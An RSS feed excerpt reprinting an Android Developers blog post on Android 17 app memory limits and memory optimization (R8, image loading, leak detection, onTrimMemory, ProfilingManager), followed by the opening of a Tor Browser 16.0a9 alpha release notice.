<pubDate>Sat, 25 Jul 2026 10:15:41 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCIAoJpwUITPS5C3_eTksMsaslwqPk7SIEQHkwEkGv8572ccdIKcdv6kNC1BOSJPAZTgX5m3liMMv4zdK58e5dWRhUfo39uas23LuhEWf13TFnDTdw-Z5mWn4JarSnC8yCET8Sw15zSF-jQ5zwALriacGK6IjAGxNg61sFtSxzndjvqXxZtJt4qxuzd9A/s2048/Engineering-Memory-Blog-Meta-3.png">

<div class="separator">
    <em>Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer</em>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s4209/Engineering-Memory-Blog-3.png">
        <img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s16000/Engineering-Memory-Blog-3.png">
    </a>
</div>

<p>
    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.
</p>

<p>
    To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.
</p>

<div>
    Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.
</div>

<div>
    <p>To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:</p>
    <ol>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Maximize">Maximize bytecode optimization with R8</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Optimize">Optimize image loading</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Detect">Detect and fix memory leaks with Android Studio</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Trim">Trim memory when app leaves visible state</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Advanced">Advanced memory observability with ProfilingManager</a></li>
    </ol>
</div>
<br>
<div>
    <div class="separator">
        
    </div>
    <div>
        <em>A condensed version of this blog post is also available in video format, go check it out!</em>
    </div>
    
    <h3>Understanding Android 17 app memory limits</h3>
    <p>App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.</p>
    <p>Here is a breakdown of the reasons driving this architectural change:</p>
    
    <div>
        <ul>
            <li><b>Preventing cascading kills:</b> When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.</li>
            <li><b>Preserving multitasking and user state:</b> When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.</li>
        </ul>
        
        <div>
            <p>To determine if your app session was impacted by these constraints in the field, you can call <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#getDescription%28%29" target="_blank">getDescription()</a> within <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo" target="_blank">ApplicationExitInfo</a>. If the system applied a limit, the exit reason is reported as <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#REASON_OTHER" target="_blank">REASON_OTHER</a> and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/trigger-based-capture" target="_blank">trigger-based profiling</a> using <a href="https://developer.android.com/about/versions/17/features#anomaly-profiling-trigger" target="_blank">TRIGGER_TYPE_ANOMALY</a> to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.</p>
            <p>We have also expanded our <a href="https://developer.android.com/about/versions/17/behavior-changes-all#app-memory-limits" target="_blank">memory limits documentation</a> to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. </p>
        </div>
    </div>
</div>

<div>
    <h3>Maximize bytecode optimization with R8</h3>
    <p>A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. </p>
    <p>R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.</p>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s2500/pic1-IO26_113_TSV-monzo-casestudy.jpg">
        <img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s16000/pic1-IO26_113_TSV-monzo-casestudy.jpg">
    </a>
</div>
<div>
    <i>The digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and boosted performance metrics by up to 35%.</i>
</div>

<div>
    <p>To properly configure R8 in your <code>build.gradle</code> file:</p>
    <ul>
        <li>Set <code>isShrinkResources = true</code> and <code>isMinifyEnabled = true</code>.</li>
        <li>Use <code>proguard-android-optimize.txt</code> instead of the legacy <code>proguard-android.txt</code>, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.</li>
        <li>Remove <code>android.enableR8.fullMode = false</code> from your <code>gradle.properties</code>.</li>
    </ul>
    
    <p>
        If you are using reflection in your code base, then add <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-overview#where-to-add-rules" target="_blank">Keep rules</a> to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.
    </p>
    <p>To get the maximum optimization, make sure to follow these best practices in your keep rule file.</p>
    
    <ul>
        <li>Remove global options like <code>-dontoptimize</code>, <code>-dontshrink</code>, and <code>-dontobfuscate</code> that prevent R8 from optimizing the entire codebase </li>
        <li>Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.</li>
        <li>Refine the broad package wide keep rules to target only specific classes or methods.</li>
    </ul>
    
    <p>To see more best practices, view our <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-best-practices" target="_blank">keep rules documentation</a>.</p>
    
    <h3>Library Developer R8 Best Practices</h3>
    <p>If you are a library developer, strictly place the rules your consumers need into your <code>consumer-rules</code> file, and keep your library's internal protection rules in your <code>proguard-rules.pro</code> file. For more information on how to optimize libraries, see <a href="https://developer.android.com/topic/performance/app-optimization/library-optimization" target="_blank">Optimization for library authors</a>.</p>
    
    <h3>R8 Configuration Analyzer</h3>
    <p>To audit your R8 optimization, use the <b><a href="http://developer.android.com/r8-analyzer" target="_blank">Configuration Analyzer</a></b>. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.</p>
    <p>Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.</p>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s2048/pic2-r8-config-analyzer.png">
        <img border="0" data-original-height="1156" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s16000/pic2-r8-config-analyzer.png">
    </a>
</div>
<div>
    <i>The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.</i>
</div>

<div>
    <h4><span>R8 Agent Skill </span></h4>
    <p>You can also leverage the <b><a href="https://github.com/android/skills/tree/main/performance/r8-analyzer" target="_blank">R8 Agent Skill</a></b> with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. <i>(Insights from AI-driven skills will require technical verification)</i></p>
</div>

<h3>Optimize image loading</h3>
<div>
    <p>Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.</p>
    <p>Google recommends leveraging image loading libraries <b><a href="https://github.com/coil-kt/coil" target="_blank">Coil</a></b> for Kotlin-first projects, particularly when developing with Jetpack Compose and <b><a href="https://github.com/bumptech/glide" target="_blank">Glide</a></b> for Java-based applications.</p>
    
    <h4><span>Adopt these five best practices</span></h4>
    <ol>
        <li><b>Downsample images:</b> If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use <a href="https://developer.android.com/topic/performance/graphics/load-bitmap" target="_blank">inSampleSize</a> to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/resource/bitmap/DownsampleStrategy.html" target="_blank">DownsampleStrategy</a> and <a href="https://coil-kt.github.io/coil/image_loaders/" target="_blank">ImageLoader</a> respectively.</li>
        <li><b>Cropping:</b> Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize <a href="https://developer.android.com/reference/android/graphics/drawable/InsetDrawable" target="_blank">InsetDrawable</a> or apply padding directly within the View or Composable containing the bitmap.</li>
        <li><b>Config:</b> Balance memory and quality by choosing the right pixel format. Use <code>RGB_565</code> when transparency isn't needed, which uses half the memory of the default <code>ARGB_8888</code> format. In Glide you can configure this by using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/DecodeFormat.html" target="_blank">DecodeFormat</a> and in Coil you can use <a href="https://coil-kt.github.io/coil/api/coil-core/coil3.request/-image-request/" target="_blank">bitmapConfig</a> property.</li>
        <li><b>Prioritize vector drawables:</b> For basic geometric assets, leverage <a href="https://developer.android.com/reference/android/graphics/drawable/ShapeDrawable" target="_blank">ShapeDrawable</a> as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.</li>
        <li><b>Reuse:</b> If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call <code>bitmap.recycle()</code> and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.</li>
    </ol>
    
    <p>Check out our documentation on <a href="https://developer.android.com/develop/ui/compose/graphics/images/optimization" target="_blank">Optimizing performance for images</a> to learn more.</p>
    
    <h4><span>Android Studio tooling</span></h4>
    <p>You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:</p>
    <ol>
        <li>Open the <b>Profiler</b> tab in Android Studio</li>
        <li>Click <b>Heap Dump</b> (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.</li>
        <li>Scan the analysis results for the <b>yellow warning triangle</b> ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.</li>
        <li>Click on any flagged entry to open the <b>Bitmap Preview</b> pane, allowing you to see exactly which image is the repeat offender.</li>
        <li>Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.</li>
    </ol>
</div>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s2379/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"><img border="0" data-original-height="1162" data-original-width="2379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s16000/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"></a></div><div class="separator"><i>Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.</i></div>

<h3>Detect and fix memory leaks with Android Studio</h3>
<p>Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).</p>
<p>Android Studio Panda 3 features a dedicated <a href="https://square.github.io/leakcanary/" target="_blank">LeakCanary</a> profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.</p>
<p>The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s2048/pic4-android-studio-leaks.png">
        <img border="0" data-original-height="975" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s16000/pic4-android-studio-leaks.png">
    </a>
</div>
<div>
    <i>LeakCanary memory leak analysis contextualized with <b>Go to declaration</b> for debugging</i>
</div>

<p>Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.</p>

<div>
    <h4><span>Examples of common memory leaks </span></h4>
    <p>Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:</p>
    <ul>
        <li>Retaining references to Fragments, Activities, or Views that are no longer in use.</li>
        <li>Mismanaging Context references.</li>
        <li>Failing to properly unregister observers, listeners, and receivers.</li>
        <li>Creating static references to objects that are bound to components with shorter lifecycles.</li>
    </ul>
    
    <p>Here are a few example scenarios:</p>
    
    <div align="left" dir="ltr">
        <table>
            <colgroup>
                <col>
                <col>
                <col>
            </colgroup>
            <tbody>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Scenario</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Compose-based example</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">View-based example</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Context</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Passing LocalContext.current to a ViewModel</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Keep <code>Context</code> dependent logic within the UI layer. For non-UI layers, refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Storing an <code>Activity</code> in a companion object or static variable.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Don’t hold static references to UI components. Refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Listeners</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Using <code>DisposableEffect</code> to start a listener but leaving <code>onDispose</code> empty.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Perform the unregistration and <a href="https://developer.android.com/develop/ui/compose/side-effects#disposableeffect">cleanup logic</a> inside the <code>onDispose</code> block.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Registering for SensorManager updates and forgetting to unregister.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Manually call <code>unregisterListener()</code> in <code>onStop()</code> or <code>onDestroy()</code> lifecycle.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Views</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Holding a reference to a legacy <code>View</code> inside an <code>AndroidView</code> without a release strategy.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Use the <code>release</code> block of the <code>AndroidView</code> composable to clean up the legacy <code>View</code>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Keeping a reference to a view binding object after the <code>Fragment</code> is destroyed.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Set the binding variable to <code>null</code> inside the <code>onDestroyView</code>() lifecycle method.</span></p>
                    </td>
                </tr>
            </tbody>
        </table>
    </div>
</div>

<h3>Trim memory when app leaves visible state</h3>
<p>Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in <a href="https://developer.android.com/topic/performance/memory-overview" target="_blank">Overview of memory management</a>. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.</p>
<p>If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the <code>ComponentCallbacks2</code> interface. You can implement <code>onTrimMemory</code> in your <code>Activity</code>, <code>Fragment</code>, <code>Service</code>, or even your custom <code>Application</code> class. Using it in the <code>Application</code> class is highly effective for global cache management.</p>
<p>The provided <a href="https://developer.android.com/reference/android/content/ComponentCallbacks2#onTrimMemory(int)" target="_blank">onTrimMemory()</a> callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.</p>
<p>In terms of memory lifecycle management, your implementation should focus <b>exclusively</b> on <code>TRIM_MEMORY_UI_HIDDEN</code> and <code>TRIM_MEMORY_BACKGROUND</code>. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.</p>
<p><code>TRIM_MEMORY_UI_HIDDEN</code>: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.</p>
<p><code>TRIM_MEMORY_BACKGROUND</code>: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.</p>

<pre><code>import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}</code></pre>

<p>Note: The <code>onTrimMemory</code> integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the <a href="https://developer.android.com/games/optimize/memory-allocation" target="_blank">game memory optimization documents</a>.</p>

<h3>Advanced memory observability with ProfilingManager</h3>
<p>To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the <b>ProfilingManager API</b>. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.</p>
<p>For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to <a href="https://docs.google.com/forms/d/e/1FAIpQLSe299a_zSNDfa164z7yyqoDjS05ZDRN86bAQKajuAOFEQ4G-w/viewform" target="_blank">provide feedback</a>.</p>

<p><b>Android 17 introduces new event-driven triggers</b>, most notably <code>TRIGGER_TYPE_OOM</code> and <code>TRIGGER_TYPE_ANOMALY</code>:</p>
<ul>
    <li>The <b>OOM trigger</b> automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the <code>registerForAllProfilingResults</code> callback.</li>
    <li>The <b>Anomaly trigger</b> detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.</li>
</ul>

<pre><code>  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList<profilingtrigger>()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer<profilingresult> { profilingResult -&gt;
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)</profilingresult></profilingtrigger></code></pre>

<p>
    Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the <a href="http://ui.perfetto.dev/" target="_blank">Perfetto UI</a>. To streamline your memory debugging workflow, use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer" target="_blank">Heap Dump Explorer</a>, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.
</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s2048/pic5-perfettoheapdump-analyzer.png">
        <img border="0" data-original-height="1039" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s16000/pic5-perfettoheapdump-analyzer.png">
    </a>
</div>
<div>
    <i>Use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer">Heap Dump Explorer</a>’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.</i>
</div>

<h3>Conclusion</h3>
<p>Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised <a href="https://developer.android.com/topic/performance/memory" target="_blank">memory guidance</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Alpha Release: Tor Browser 16.0a9]]></title>
<description><![CDATA[Tor Browser 16.0a9 is now available from the Tor Browser download page and also from our distribution directory.
This version includes important security updates to Firefox.
⚠️ Reminder: The Tor Browser Alpha release-channel is for testing only. As such, Tor Browser Alpha is not intended for gene...]]></description>
<link>https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/</guid>
<pubDate>Thu, 23 Jul 2026 20:25:02 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/new-alpha-release-tor-browser-160a9/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/new-alpha-release-tor-browser-160a9/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/new-alpha-release-tor-browser-160a9/lead.png">
    </picture>
    <div class="body"><p>Tor Browser 16.0a9 is now available from the <a href="https://www.torproject.org/download/alpha/">Tor Browser download page</a> and also from our <a href="https://www.torproject.org/dist/torbrowser/16.0a9/">distribution directory</a>.</p>
<p>This version includes important <a href="https://www.mozilla.org/en-US/security/advisories/">security updates</a> to Firefox.</p>
